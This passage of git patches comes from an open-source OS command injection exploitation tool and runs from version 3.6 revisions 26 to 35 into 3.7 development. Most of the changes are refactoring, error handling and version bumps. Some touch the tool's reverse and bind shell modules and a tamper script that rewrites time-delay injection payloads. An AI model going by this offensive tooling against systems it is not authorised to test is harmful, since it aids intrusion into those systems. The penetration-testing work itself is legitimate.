'.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -775,7 +775,7 @@ def inject_referer(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -851,7 +851,7 @@ def inject_host(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -881,7 +881,7 @@ def inject_host(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -910,7 +910,7 @@ def inject_host(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -989,7 +989,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -1019,7 +1019,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -1047,7 +1047,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 89a58fd203..8283a9eb3e 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -272,7 +272,7 @@ def other_bind_shells(separator): with open (output, "r+") as content_file: data = content_file.readlines() - data = ''.join(data).replace("\n"," ") + data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE) print(settings.SINGLE_WHITESPACE) # Remove the ouput file. @@ -363,7 +363,7 @@ def other_bind_shells(separator): with open (output, "r+") as content_file: data = content_file.readlines() - data = ''.join(data).replace("\n"," ") + data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE) print(settings.SINGLE_WHITESPACE) # Remove the ouput file. diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 739849d5fb..0114780b2e 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -406,7 +406,7 @@ def other_reverse_shells(separator): with open (output, "r+") as content_file: data = content_file.readlines() - data = ''.join(data).replace("\n"," ") + data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE) print(settings.SINGLE_WHITESPACE) # Remove the ouput file. @@ -541,7 +541,7 @@ def other_reverse_shells(separator): for line in unicorn_file: line = line.rstrip() if "Magic Unicorn Attack Vector v" in line: - unicorn_version = line.replace("Magic Unicorn Attack Vector v", "").replace(" ", "").replace("-","").replace("\"","").replace(")","") + unicorn_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-","").replace("\"","").replace(")","") break except: unicorn_version = "" diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index b267fdf1ec..585bf6aa0c 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -35,7 +35,7 @@ def sleep_to_timeout_ping(payload): settings.TAMPER_SCRIPTS[__tamper__] = True if settings.TARGET_OS != "win": for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + "([1-9]\d+|[0-9])", payload): - payload = payload.replace(match.group(0), match.group(0).replace("sleep", "timeout") + " ping localhost".replace(" ",settings.WHITESPACES[0])) + payload = payload.replace(match.group(0), match.group(0).replace("sleep", "timeout") + " ping localhost".replace(settings.SINGLE_WHITESPACE,settings.WHITESPACES[0])) payload = payload.replace("timeout" + settings.WHITESPACES[0] + "0" + settings.WHITESPACES[0] + "ping" + settings.WHITESPACES[0] + "localhost", "timeout" + settings.WHITESPACES[0] + "0") else: payload = payload.replace("powershell.exe" + settings.WHITESPACES[0] + "-InputFormat" + settings.WHITESPACES[0] + "none" + settings.WHITESPACES[0] + "Start-Sleep" + settings.WHITESPACES[0] + "-s", "timeout") diff --git a/src/utils/logs.py b/src/utils/logs.py index 2fede93cc3..b537431e64 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -186,9 +186,9 @@ def update_payload(filename, counter, payload): output_file = open(filename, "a") if not menu.options.no_logging: if "\n" in payload: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + re.sub("%20", " ", _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n") + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + re.sub("%20", settings.SINGLE_WHITESPACE, _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n") else: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + payload.replace("%20", " ") + "\n") + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + payload.replace("%20", settings.SINGLE_WHITESPACE) + "\n") output_file.close() """ diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 07acfa74c6..27a06d64db 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -290,7 +290,7 @@ def notification(url, technique, injection_type): while True: message = "A previously stored session has been held against that target. " message += "Do you want to resume to " - message += "(" + injection_type.split(" ")[0] + ") " + message += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " message += technique.rsplit(' ', 2)[0] message += " injection point? [Y/n] > " settings.LOAD_SESSION = common.read_input(message, default="Y", check_batch=True) diff --git a/src/utils/settings.py b/src/utils/settings.py index 5acf457f74..27b8932025 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "25" +REVISION = "26" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/src/utils/update.py b/src/utils/update.py index 65d9c3df67..f1cc9fa458 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -214,7 +214,7 @@ def check_unicorn_version(current_version): for line in latest_version: line = line.rstrip() if "Magic Unicorn Attack Vector v" in line: - latest_version = line.replace("Magic Unicorn Attack Vector v", "").replace(" ", "").replace("-","").replace("\"","").replace(")","") + latest_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-","").replace("\"","").replace(")","") break if len(current_version) == 0 or \ From efcdee0c872ff558642ee6f9d69fcaafc9867ea0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 3 Nov 2022 09:04:40 +0200 Subject: [PATCH 207/560] Minor update regarding crawing process --- src/core/main.py | 2 +- src/utils/crawler.py | 4 ++-- src/utils/settings.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index e9f8ea55f6..33af06c1fe 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -854,7 +854,7 @@ def main(filename, url): settings.MULTI_TARGETS = True print(settings.SINGLE_WHITESPACE) with open(menu.options.bulkfile) as f: - bulkfile = [url.strip() for url in f] + bulkfile = [url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip() for url in f] # Check if option "--crawl" is enabled. if settings.CRAWLING: diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 808ad39777..8974259a71 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -255,8 +255,6 @@ def no_usable_links(crawled_hrefs): The crawing process. """ def do_process(url): - if settings.SINGLE_WHITESPACE in url: - url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) identified_hrefs = False if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) @@ -337,6 +335,8 @@ def crawler(url, url_num, crawling_list): if url not in visited_hrefs: link += 1 settings.CRAWLED_URLS_NUM = link + if settings.SINGLE_WHITESPACE in url: + url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) visited_hrefs.append(url) do_process(url) info_msg = str(link) diff --git a/src/utils/settings.py b/src/utils/settings.py index 27b8932025..7d58cdb377 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "26" +REVISION = "27" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 0fc1b53932eded11ce74b1ba37e4441d82b4ade1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 4 Nov 2022 08:15:08 +0200 Subject: [PATCH 208/560] Minor update --- src/core/injections/controller/checks.py | 9 +++----- src/core/requests/requests.py | 26 +++++++++++++++--------- src/utils/settings.py | 2 +- 3 files changed, 20 insertions(+), 17 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 82db7ee90c..f002c01754 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -234,14 +234,11 @@ def load_cmd_history(): cli_history = os.path.expanduser(settings.CLI_HISTORY) if os.path.exists(cli_history): readline.read_history_file(cli_history) - except (IOError, AttributeError) as e: + except (IOError, AttributeError, UnicodeError) as e: warn_msg = "There was a problem loading the history file '" + cli_history + "'." - print(settings.print_warning_msg(warn_msg)) - except UnicodeError: if settings.IS_WINDOWS: - warn_msg = "There was a problem loading the history file '" + cli_history + "'. " - warn_msg += "More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" - print(settings.print_warning_msg(warn_msg)) + warn_msg += " More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" + print(settings.print_warning_msg(warn_msg)) """ Check if the value has boundaries. diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index d174061f9f..883bd9b7df 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -73,9 +73,10 @@ def estimate_response_time(url, timesec): err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")." except IndexError: err_msg += " (" + str(err) + ")." - print(settings.print_critical_msg(err_msg)) + if str(err.getcode()) != settings.UNAUTHORIZED_ERROR: + print(settings.print_critical_msg(err_msg)) # Check for HTTP Error 401 (Unauthorized). - if str(err.getcode()) == settings.UNAUTHORIZED_ERROR: + else: try: # Get the auth header value auth_line = err.headers.get('www-authenticate', '') @@ -359,17 +360,21 @@ def request_failed(err_msg): if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: pass else: + err_msg = "Not authorized (" + settings.UNAUTHORIZED_ERROR + "). " + + err_msg += "Try to provide right HTTP authentication type ('--auth-type') and valid credentials ('--auth-cred')" if menu.options.auth_type and menu.options.auth_cred: - err_msg = "The provided pair of " + menu.options.auth_type - err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'" - err_msg += " seems to be invalid." - err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options," - err_msg += " in order to perform a dictionary-based attack." + if settings.MULTI_TARGETS: + err_msg += ". " + else: + err_msg += " or rerun without providing them, in order to perform a dictionary-based attack. " else: - err_msg = "Not authorized, try to provide right HTTP authentication type and valid credentials (" + settings.UNAUTHORIZED_ERROR + ")." - err_msg += " If this is intended, try to rerun by providing a valid value for option '--ignore-code'." + err_msg += " or rerun by providing option '--ignore-code=" +settings.UNAUTHORIZED_ERROR +"'. " + if settings.MULTI_TARGETS: + err_msg += "Skipping to the next target." print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if menu.options.auth_type and menu.options.auth_cred or settings.MULTI_TARGETS: + raise SystemExit() if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \ settings.FORBIDDEN_ERROR in str(err_msg).lower() or \ settings.NOT_FOUND_ERROR in str(err_msg).lower(): @@ -378,6 +383,7 @@ def request_failed(err_msg): if len(reason) != 0 and menu.options.ignore_code != settings.UNAUTHORIZED_ERROR: reason = reason + ". Skipping to the next target." print(settings.print_critical_msg(reason)) + raise SystemExit() if settings.EOF: print(settings.SINGLE_WHITESPACE) return False diff --git a/src/utils/settings.py b/src/utils/settings.py index 7d58cdb377..bd20489408 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "27" +REVISION = "28" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From b9dd37a082bfc93d9f3b208fb20b55df79d4d956 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 7 Nov 2022 09:07:36 +0200 Subject: [PATCH 209/560] Minor update --- src/core/injections/blind/techniques/time_based/tb_handler.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_handler.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index dd5077ab1f..9c42254ef7 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -398,8 +398,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) - #possibly_vulnerable = False else: + whitespace = settings.WHITESPACES[0] settings.LOAD_SESSION = False # Check for any enumeration options. diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 19f21dfa1d..20150f3a53 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -430,8 +430,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) - #possibly_vulnerable = False else: + whitespace = settings.WHITESPACES[0] settings.LOAD_SESSION = False # Delete previous shell (text) files (output) from temp. diff --git a/src/utils/settings.py b/src/utils/settings.py index bd20489408..ab1184b987 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "28" +REVISION = "29" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 64f215ab5c21438ea666a9f48bba39e069b73a0b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 9 Nov 2022 09:38:57 +0200 Subject: [PATCH 210/560] Minor update --- src/core/main.py | 2 ++ src/utils/session_handler.py | 5 ----- src/utils/settings.py | 3 ++- 3 files changed, 4 insertions(+), 6 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 33af06c1fe..f143f61299 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -412,6 +412,8 @@ def main(filename, url): if session_handler.applied_techniques(url, http_request_method): if not menu.options.tech: menu.options.tech = session_handler.applied_techniques(url, http_request_method) + else: + settings.USER_SUPPLIED_TECHNIQUE = True else: menu.options.tech = list(menu.options.tech) _ = {settings.AVAILABLE_TECHNIQUES[i] : i for i in range(len(settings.AVAILABLE_TECHNIQUES))} diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 27a06d64db..73d0998c5b 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -212,11 +212,6 @@ def injection_point_exportation(url, http_request_method): result = conn.execute("SELECT * FROM sqlite_master WHERE name = '" + \ table_name(url) + "_ip' AND type = 'table';") if result: - # if not settings.USER_SUPPLIED_TECHNIQUE: - # for session in result: - # check_injection_technique = menu.options.tech = session[0][:1] - # select_injection_type = session[1][:1].capitalize() - # else: if menu.options.tech[:1] == "c": select_injection_type = "R" elif menu.options.tech[:1] == "e": diff --git a/src/utils/settings.py b/src/utils/settings.py index ab1184b987..57c9698f3c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "29" +REVISION = "30" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -602,6 +602,7 @@ def sys_argv_errors(): # Available injection techniques. AVAILABLE_TECHNIQUES = [ "c", "e", "t", "f" ] +USER_SUPPLIED_TECHNIQUE = False SKIP_TECHNIQUES = False # User Agent List From f5414ebe7c80c03974dec991cddcff92efd716fa Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 10 Nov 2022 09:17:30 +0200 Subject: [PATCH 211/560] Fixes https://github.com/commixproject/commix/issues/787 --- src/core/injections/controller/checks.py | 19 +++++++++++-------- src/utils/settings.py | 2 +- 2 files changed, 12 insertions(+), 9 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f002c01754..17c7ded815 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1620,14 +1620,17 @@ def inappropriate_format(multi_parameters): """ def check_similarities(all_params): if settings.IS_JSON: - all_params = ','.join(all_params) - json_data = json.loads(all_params, object_pairs_hook=OrderedDict) - all_params = flatten(json_data) - for param in all_params: - if param == all_params[param]: - parameter_name = param - all_params[param] = param + settings.RANDOM_TAG - all_params = [x.replace(settings.SINGLE_WHITESPACE, "") for x in json.dumps(all_params).split(", ")] + try: + all_params = ','.join(all_params) + json_data = json.loads(all_params, object_pairs_hook=OrderedDict) + all_params = flatten(json_data) + for param in all_params: + if param == all_params[param]: + parameter_name = param + all_params[param] = param + settings.RANDOM_TAG + all_params = [x.replace(settings.SINGLE_WHITESPACE, "") for x in json.dumps(all_params).split(", ")] + except Exception as e: + pass else: for param in range(0, len(all_params)): if settings.IS_XML: diff --git a/src/utils/settings.py b/src/utils/settings.py index 57c9698f3c..a5a31f6746 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "30" +REVISION = "31" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a3f461c6e7c96dc084d23f65d62ad33315d9a024 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 11 Nov 2022 09:10:24 +0200 Subject: [PATCH 212/560] Minor update regarding masking sensitive data in the supplied msgs --- src/utils/common.py | 5 +++-- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/src/utils/common.py b/src/utils/common.py index 9d5268d3a8..6a02b07015 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -219,9 +219,10 @@ def create_github_issue(err_msg, exc_msg): """ def mask_sensitive_data(err_msg): for item in settings.SENSITIVE_OPTIONS: - match = re.search(r"(?i)commix.+("+str(item)+")(\s+|=)([^ ]+)", err_msg) + match = re.search(r"(?i)commix.+("+str(item)+")(\s+|=)([^-]+)", err_msg) if match: - err_msg = err_msg.replace(match.group(3), '*' * len(match.group(3))) + err_msg = err_msg.replace(match.group(3), '*' * len(match.group(3)) + settings.SINGLE_WHITESPACE) + return err_msg """ diff --git a/src/utils/settings.py b/src/utils/settings.py index a5a31f6746..d1ced04bcb 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "31" +REVISION = "32" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4077b24ea7a8717af94db20eaf557d0f57d79ab0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 14 Nov 2022 09:03:55 +0200 Subject: [PATCH 213/560] Minor update --- src/core/injections/controller/checks.py | 2 +- src/core/testing.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 17c7ded815..f9e3d0c114 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -307,7 +307,7 @@ def page_encoding(response, action): data = gzip.GzipFile("", "rb", 9, io.BytesIO(page)) page = data.read() settings.PAGE_COMPRESSION = True - except Exception as ex: + except Exception as e: if settings.PAGE_COMPRESSION is None: warn_msg = "Turning off page compression." print(settings.print_warning_msg(warn_msg)) diff --git a/src/core/testing.py b/src/core/testing.py index 30f2b608f7..f3835f73a6 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -41,7 +41,7 @@ def smoke_test(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Succeeded importing '" + str(path) + "' module." print(settings.print_debug_msg(debug_msg)) - except Exception as ex: + except Exception as e: error_msg = "Failed importing '" + path + "' module due to '" + str(ex) + "'." print(settings.print_error_msg(error_msg)) _ = False diff --git a/src/utils/settings.py b/src/utils/settings.py index d1ced04bcb..709842813e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "32" +REVISION = "33" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3742e5f2de7041ac9a17628dcedd71cdf313d141 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 15 Nov 2022 07:40:22 +0200 Subject: [PATCH 214/560] Minor update --- src/core/injections/controller/checks.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f9e3d0c114..92d6605cfc 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1493,7 +1493,7 @@ def is_empty(multi_parameters, http_request_method): try: if settings.IS_JSON: try: - param = re.sub("[^/()A-Za-z0-9.:,_]+", '', multi_params[empty]) + param = re.sub("[^/()A-Za-z0-9.:,_]+", '', str(multi_params[empty])) if "(" and ")" in param: param = re.findall(r'\((.*)\)', param) for value in param[0].split(","): diff --git a/src/utils/settings.py b/src/utils/settings.py index 709842813e..77e3e7b589 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "33" +REVISION = "34" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c69ff95d371f5aa44086971da13593489ea8c33d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 16 Nov 2022 18:22:23 +0200 Subject: [PATCH 215/560] Minor fix regarding commit: https://github.com/commixproject/commix/commit/4077b24ea7a8717af94db20eaf557d0f57d79ab0 --- src/core/testing.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/testing.py b/src/core/testing.py index f3835f73a6..5677e338dc 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -42,7 +42,7 @@ def smoke_test(): debug_msg = "Succeeded importing '" + str(path) + "' module." print(settings.print_debug_msg(debug_msg)) except Exception as e: - error_msg = "Failed importing '" + path + "' module due to '" + str(ex) + "'." + error_msg = "Failed importing '" + path + "' module due to '" + str(e) + "'." print(settings.print_error_msg(error_msg)) _ = False diff --git a/src/utils/settings.py b/src/utils/settings.py index 77e3e7b589..15aafdc517 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "34" +REVISION = "35" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From badf44a72f759e98e825b1fe6918b5a3086545fb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 17 Nov 2022 09:22:27 +0200 Subject: [PATCH 216/560] Update CHANGELOG.md --- doc/CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a36c15ea89..d56d7ab81f 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.6 (TBA) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvements regarding dynamic code evaluation heuristic check. * Revised: Minor improvement regarding session handler. * Revised: Minor improvement regarding `--wizard` option. From 2aacb53add39c50ce010172fca9d67d42d43d2a0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 18 Nov 2022 09:06:20 +0200 Subject: [PATCH 217/560] Updated to v3.6 --- doc/CHANGELOG.md | 2 +- setup.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index d56d7ab81f..66a65ccaa0 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,4 @@ -## Version 3.6 (TBA) +## Version 3.6 (2022-11-18) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvements regarding dynamic code evaluation heuristic check. * Revised: Minor improvement regarding session handler. diff --git a/setup.py b/setup.py index dc661019d8..9cd3a56ab3 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.6-dev', + version='3.6', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/utils/settings.py b/src/utils/settings.py index 15aafdc517..e25dfd8fd6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -242,7 +242,7 @@ def sys_argv_errors(): AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" REVISION = "35" -STABLE_RELEASE = False +STABLE_RELEASE = True VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM + "-stable" From e64563981449b80a285ecf673d81a4f2b4f33838 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 4 Dec 2022 11:10:24 +0200 Subject: [PATCH 218/560] Fixes https://github.com/commixproject/commix/issues/791 --- doc/CHANGELOG.md | 3 +++ setup.py | 2 +- src/utils/logs.py | 5 +---- src/utils/settings.py | 6 +++--- 4 files changed, 8 insertions(+), 8 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 66a65ccaa0..8cf4222db2 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,6 @@ +## Version 3.7 (TBA) +* Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e `-t` option). + ## Version 3.6 (2022-11-18) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvements regarding dynamic code evaluation heuristic check. diff --git a/setup.py b/setup.py index 9cd3a56ab3..16a0a4cc33 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.6', + version='3.7-dev', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/utils/logs.py b/src/utils/logs.py index b537431e64..aa36215582 100755 